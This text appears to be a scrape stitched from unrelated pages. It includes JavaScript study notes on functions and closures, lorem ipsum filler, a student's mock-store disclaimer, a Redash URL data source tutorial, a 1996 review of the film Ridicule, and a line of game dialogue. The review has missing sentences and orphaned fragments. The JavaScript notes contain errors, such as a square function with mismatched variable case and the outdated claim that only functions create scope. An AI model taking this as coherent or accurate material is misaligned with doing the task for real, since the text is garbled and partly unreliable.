Breakdown: -keyword function - parameters in parentheses - body which has statements that are executed when the function is called. It must always be wrapped in curly braces. - They either produce values or side effects - Return determines the value returned, without an expression after it will be undefined - Parameters are local to the function - Var keyword creates them - If you want to change a global variable that was declared outside the function, you simply do x = new value in the function instead of var x = new value. - Functions can be created within other functions - i.e. nested scope - Each local scope can also see the local scopes that contain it. - Lexical scoping - functions are the only thing that create a new scope - Function variable = function value - var fun = function() {}; - A variable that holds a function can be changed and assigned a new value later - Function Declaration notation: - function square(X) { - return x *X; - } - Not a part of control flow, can be used by all code in the scope of bottom to top flow.
Call stack - The place where the computer stores the context where every time a function is called, the current context is put on top of this stack. - If you pass too many arguments to a function, it ignores the others - So you can pass optional arguments.
Closure - Being able to reference a specific instance of local variables in an enclosing function - A function that closes over some local variables is called a closure - IT makes it so you don’t have to worry about lifetimes of variables
Lid est laborum dolo rumes fugats untras. Etharums ser quidem rerum facilis dolores nemis omnis fugats vitaes nemo minima rerums unsers sadips amets. Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.
Read MoreLid est laborum dolo rumes fugats untras. Etharums ser quidem rerum facilis dolores nemis omnis fugats vitaes nemo minima rerums unsers sadips amets. Sed ut perspiciatis unde omnis iste natus error sit voluptatem accusantium doloremque laudantium, totam rem aperiam, eaque ipsa quae ab illo inventore veritatis et quasi architecto beatae vitae dicta sunt explicabo.
Read More


Feel free to select competencies that you feel will help you improve and deliver better at your workplace. This does not need to be exact. This information helps us give you a more personalized experience and provide even more relevant content.


I made this website for my Personal Project for LPHS, the website does not take in real creditcards or any real information, all products can be bought with the credit card number 4242 4242 4242 4242 with any name, email, expiration date (as long as it's in the future) and any random CSC. The Contact Us box only responds back with an auto reply with this same message. The payment processing is handeled through Stripe, the website is hosted on Github and the domain was given for free by dot.tk, the ToS is a sample created by Shopify and the privacy policy is a premade template which is credited for here, the contact forms were made with Jotform. All assests used in this project where available for reuse and or with modification or created by me.


How to use the URL data source
1 Determine the URL of your JSON data
For this example, we’re using the NICVA Marine Litter Survey database.
2 In Redash, open Data Sources Settings
3 Create a new Data Source
4 Fill out the details for the data source
5 Create another new Data Source
6 Create the Source query
7 Create the visualisation query
The SQL in the above screenshot is:
SELECT
substr(Date, 7, 4) || '-' || substr(Date, 4, 2) || '-' || substr(Date, 1, 2) as Date,
Category,
sum(distinct Number) as SumVal
FROM query_1
GROUP BY 1, 2;
Take special care of the FROM clause: FROM query_1
. The number 1
in query_1
is the query # you saved before.
So, if the number of the query you saved in the previous step was 234, your SQL query will need a FROM
clause of FROM query_234
.


Ridicule (1996) A film review by Steve Rhodes Copyright 1996 Steve Rhodes
RATING (0 TO ****): ** 1/2
When I got my invitation to come to the press screening of RIDICULE, I had heard nothing about the film.   How wrong I was.
RIDICULE is a French satire and costume drama set in the late eighteenth century in last days of French monarchy before the revolution. It is a fairly inaccessible film, but ultimately a rewarding one. Once you realize the obtuse story is inconsequential and that the film is strictly a comedy of manners, you can relax and enjoy its subtleties. It is a beautifully filmed show (Thierry Arbogast) that is easy on the eyes.
The movie opens with a truly shocking scene that includes male frontal nudity. It is not the nudity itself that is shocking, but what happens. Curiously enough, the movie could probably get a PG or PG-13 rating without this scene, but with it in, it is certainly destined for an R if the producers end up submitting it to the MPAA for a rating. At the time of the press screening, it appeared to be as yet unrated.
After this surprising scene, the opening credits begin to roll and the audience is already shocked and confused. The confusion stays, but the shock subsides.
The show has a simple story, but it is presented with enough subplots and characters to leave the audience baffled for quite some time. As I said earlier, ignore this and wait for the heart of the picture when the show becomes a condemnation of and a ridicule of the aristocracy's obsession with ridicule as a form of witty conversation. The show even concludes with a lavish and totally ridiculous costume ball where the gowns ridicule their wearers. The title RIDICULE has many meanings and nuance in the show.
The plot is that Gregoire Ponceludon de Malavoy (Charles Berling - the couch potato husband from this year's excellent NELLY & MONSIEUR ARNAUD) goes from his country home to Versailles. He makes the journey so he can get an audience with King Louis XVI (Urbain Cancelier) to ask for funds for a drainage project for some fever infested swamps. To see the King he has to get in the good graces of the others at court, and to do that he has to prove his wit. Wit during that period consisted entirely of cleverly worded put-downs, i. e., ridicule.
When Ponceludon enters the hallowed halls of the court, Abbe de Vilecourt (Bernard Giraudeau) greets him with, "fresh from the country, you must find our courtly ways ridiculous." The dialog by screenwriter Remi Waterhouse is masterful. Ponceludon attempts his mockery of Vilecourt by retorting, "peasants feed aristocrats as well as mosquitoes."
He gets a mentor at the court, Monsieur Bellegarde (Jean Rochefort). Bellegarde likes the young man, proclaiming of him, "honesty and wit are so rarely combined." Bellegarde has a beautiful daughter Mathilde (Judith Godreche) who is about to enter into a marriage of convenience with a rich old man, Monsieur Montalieri (Bernard Dheran), so she can use the income from the marriage to finance her scientific experiments. This is one of many unnecessary complications in the plot. Attempt to ignore it.
 It's too rustic."
Fanny Ardant (from 1994's great COLONEL CHABERT) appears as Countess Madame de Blayac. She is one of the mistresses of the King and known to be the best conduit for gaining the ear of the King.
When Ponceludon finally gets to see the King, the King is with a Sioux warrior when perplexities the nobility. Vilecourt disgustedly reflects that the warrior is "half naked and with the name of Stinking Bear, and he almost makes us look ridiculous" for standing around to greet him. When later the courtiers cast aspersion based on association, Ponceludon reminds them that "Judas kept excellent company."
The acting is remote and frequently too shallow. Perhaps one could argue that it is a good match for the characters, but I found the effect of the direction by Patrice Leconte to lack involvement. The characters are unsympathetic, and although I found their repartee intriguing, I did not care about any of the characters as real humans.
RIDICULE has three unusual scenes of special merit that are worth mentioning. I do not think I have ever heard the sound of a pistol in slow motion as effectively done as in RIDICULE. It has a power that overwhelms that of a normal explosion. Second, the close-up of a knee rubbing that focused on the goose bumps produced on the woman's skin is one of the most erotic scenes I have witnessed this year. Finally, if you ever wondered how the female aristocracy got on all of that pancake make-up back then, this show reveals the secret.
RIDICULE runs 1:42. It is in French with English subtitles. It was not yet rated when I saw it, but it would be an R for the one male nude scene. There is very brief female nudity, a little violence, mild language, and no sex. The show would be fine for any teenager, but the opening is too strong for younger kids. Although I found it needlessly confusing, ridicule as an art form was fascinating so I do give the film a thumbs up and award it ** 1/2.
**** = One of the top few films of this or any year. A must see film. *** = Excellent show. Look for it. ** = Average movie. Kind of enjoyable. * = Poor show.  Totally unbearable.
REVIEW WRITTEN ON: October 7, 1996
Opinions expressed are mine and not meant to reflect my employer's.
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High Perfect Took:
Haven't you already transferred twice? May you always use your skills for the advancement of our race! Give our enemies a taste of your awesome strength! Dejakar Pa'agrio!


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